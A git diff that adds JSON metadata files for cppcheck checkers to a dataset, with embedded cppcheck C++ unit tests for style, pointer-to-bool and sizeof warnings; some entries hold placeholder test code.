= nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningDangerousTypeCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningDangerousTypeCast.json new file mode 100644 index 0000000..7353e44 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningDangerousTypeCast.json @@ -0,0 +1,22 @@ +{ + "name": "warningDangerousTypeCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 23, + "branches": 8, + "apis": 19, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningIntToPointerCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningIntToPointerCast.json new file mode 100644 index 0000000..902a57a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningIntToPointerCast.json @@ -0,0 +1,22 @@ +{ + "name": "warningIntToPointerCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 25, + "branches": 10, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningOldStylePointerCast.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningOldStylePointerCast.json new file mode 100644 index 0000000..2071fc1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/warningOldStylePointerCast.json @@ -0,0 +1,22 @@ +{ + "name": "warningOldStylePointerCast", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 56, + "branches": 21, + "apis": 56, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckPostfixOperator/postfixOperator.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckPostfixOperator/postfixOperator.json new file mode 100644 index 0000000..288c022 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckPostfixOperator/postfixOperator.json @@ -0,0 +1,13 @@ +{ + "name": "postfixOperator", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 37, + "branches": 14, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForArrayParameter.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForArrayParameter.json new file mode 100644 index 0000000..1674c0b --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckSizeof/checkSizeofForArrayParameter.json @@ -0,0 +1,22 @@ +{ + "name": "checkSizeofForArrayParameter", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 20, + "branches": 6, + "apis": 22, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 216 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checksizeof.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n\nclass TestSizeof : public TestFixture {\npublic:\n TestSizeof() : TestFixture(\"TestSizeof\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).certainty(Certainty::inconclusive).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(sizeofsizeof);\n TEST_CASE(sizeofCalculation);\n TEST_CASE(sizeofFunction);\n TEST_CASE(checkPointerSizeof);\n TEST_CASE(checkPointerSizeofStruct);\n TEST_CASE(sizeofDivisionMemset);\n TEST_CASE(sizeofForArrayParameter);\n TEST_CASE(sizeofForNumericParameter);\n TEST_CASE(suspiciousSizeofCalculation);\n TEST_CASE(sizeofVoid);\n TEST_CASE(customStrncat);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size]) {\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n void sizeofsizeof() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof sizeof char;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof long);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n\n check(\"void foo(long *p)\\n\"\n \"{\\n\"\n \" int i = sizeof (sizeof (p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (warning) Calling 'sizeof' on 'sizeof'. [sizeofsizeof]\\n\", errout_str());\n }\n\n void sizeofCalculation() {\n check(\"int a, b; int a,sizeof(a+b)\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(a*b)\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(-a)\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"int a, b; sizeof(*a)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(void * const)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(int*[2])\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(Fred**)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"sizeof(foo++)\");\n ASSERT_EQUALS(\"[test.cpp:1:11]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n check(\"sizeof(--foo)\");\n ASSERT_EQUALS(\"[test.cpp:1:8]: (warning) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n // #6888\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"#define VOIDCAST1 (void)\\n\"\n \"#define VOIDCAST2(SZ) static_cast(SZ)\\n\"\n \"int f(int i) {\\n\"\n \" VOIDCAST1 SIZEOF1;\\n\"\n \" VOIDCAST1 SIZEOF2;\\n\"\n \" VOIDCAST2(SIZEOF1);\\n\"\n \" VOIDCAST2(SIZEOF2);\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define SIZEOF1 sizeof(i != 2)\\n\"\n \"#define SIZEOF2 ((sizeof(i != 2)))\\n\"\n \"int f(int i) {\\n\"\n \" SIZEOF1;\\n\"\n \" SIZEOF2;\\n\"\n \" return i + foo(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\"\n \"[test.cpp:5:3]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n\n checkP(\"#define MACRO(data) f(data, sizeof(data))\\n\"\n \"x = MACRO((unsigned int *)data + 4);\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found calculation inside sizeof(). [sizeofCalculation]\\n\", errout_str());\n }\n\n void sizeofFunction() {\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \" int bar() const { return 1; };\\n\"\n \"}\\n\"\n \"Foo f;int a=sizeof(f.bar());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo\\n\"\n \"{\\n\"\n \" int bar() { return 1; };\\n\"\n \"}\\n\"\n \"Foo * fp;int a=sizeof(fp->bar());\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int a=sizeof(foo());\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() { return 1; }; int a=sizeof(foo());\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"int foo() { return 1; }; sizeof(decltype(foo()));\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; int a=sizeof(foo(0))\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n\n check(\"char * buf; int a=sizeof(*buf);\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a=sizeof(foo())\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int) { return 1; }; char buf[1024]; int a=sizeof(buf), foo(0)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" static B f(const B &);\\n\"\n \" static A f(const A &);\\n\"\n \" static A &g();\\n\"\n \" static T &h();\\n\"\n \"\\n\"\n \" enum {\\n\"\n \" X = sizeof(f(g() >> h())) == sizeof(A),\\n\"\n \" Y = sizeof(f(g() << h())) == sizeof(A),\\n\"\n \" Z = X & Y\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"size_t f1() { return sizeof(x[0]); }\\n\"\n \"size_t f2() { return sizeof(g()); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (warning) Found function call inside sizeof(). [sizeofFunctionCall]\\n\", errout_str());\n }\n\n void sizeofForArrayParameter() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = 2;\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned int a = { 2 };\\n\"\n \" unsigned int b[] = { 0 };\\n\"\n \" int c[a[b[0]]];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" unsigned int a[] = { 1 };\\n\"\n \" unsigned int b = 2;\\n\"\n \" int c[(a[0]+b)];\\n\"\n \" std::cout << sizeof(c) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[]) {\\n\"\n \" std::cout << sizeof a / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"void f( int a[3] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n check(\"typedef char Fixname[1000];\\n\"\n \"int f2(Fixname& f2v) {\\n\"\n \" int i = sizeof(f2v);\\n\"\n \" printf(\\\"sizeof f2v %d\\\", i);\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" p[0] = 0;\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char p[] = \\\"test\\\";\\n\"\n \" int unused = sizeof(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2495\n check(\"void f() {\\n\"\n \" static float col[][3]={\\n\"\n \" {1,0,0},\\n\"\n \" {0,0,1},\\n\"\n \" {0,1,0},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" {1,0,1},\\n\"\n \" };\\n\"\n \" const int COL_MAX=sizeof(col)/sizeof(col[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #155\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[], int b) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f( int a[3] , int b[2] ) {\\n\"\n \" std::cout << sizeof(a) / sizeof(int) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Using 'sizeof' on array given as \"\n \"function argument returns size of a pointer. [sizeofwithsilentarraypointer]\\n\", errout_str());\n\n // ticket #2510\n check(\"void f() {\\n\"\n \" char buff1[1024*64],buff2[sizeof(buff1)*(2+1)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void sizeofForNumericParameter() {\n check(\"void f() {\\n\"\n \" std::cout << sizeof(10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof(-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof 10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << sizeof -10 << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Suspicious usage of 'sizeof' with a numeric constant as parameter. [sizeofwithnumericparameter]\\n\", errout_str());\n }\n\n void suspiciousSizeofCalculation() {\n check(\"void f() {\\n\"\n \" int* p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unknown p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(unknown)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int p;\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* p[5];\\n\"\n \" return sizeof(p)/5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning, inconclusive) Multiplying sizeof() with sizeof() indicates a logic error. [multiplySizeof]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (foo)*sizeof(bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return sizeof(foo)*bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (end - source) / sizeof(encode_block_type) * sizeof(encode_block_type);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { T* t; };\\n\" // #10179\n \"int f(S* s) {\\n\"\n \" return g(sizeof(*s->t) / 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char* a[N];\\n\"\n \" for (int i = 0; i < (int)(sizeof(a) / sizeof(char*)); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int** p) {\\n\"\n \" return sizeof(p[0]) / 4;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Division of result of sizeof() on pointer type. [divideSizeof]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" unsigned char* s;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s[38];\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" for (size_t i = 0; i < sizeof(t->s) / sizeof(t->s[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" struct T {\\n\"\n \" char* c[3];\\n\"\n \" } t[1];\\n\"\n \"};\\n\"\n \"void f(S* s) {\\n\"\n \" for (int i = 0; i != sizeof(s->t[0].c) / sizeof(char*); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t* buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(buf[0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int32_t*** buf, size_t len) {\\n\"\n \" for (int i = 0; i < len / sizeof(**buf[0]); i++) {}\\n\"\n \" for (int i = 0; i < len / sizeof(*buf[0][0]); i++) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPointerSizeof() {\n check(\"void f() {\\n\"\n \" char *x = malloc(10);\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(*x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(int));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = (int*)malloc(sizeof(x));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = static_cast(malloc(sizeof(x)));\\n\"\n \" free(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Size of pointer 'x' used instead of size of its data. [pointerSize]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *x = malloc(sizeof(&x));\\n\"\n \" 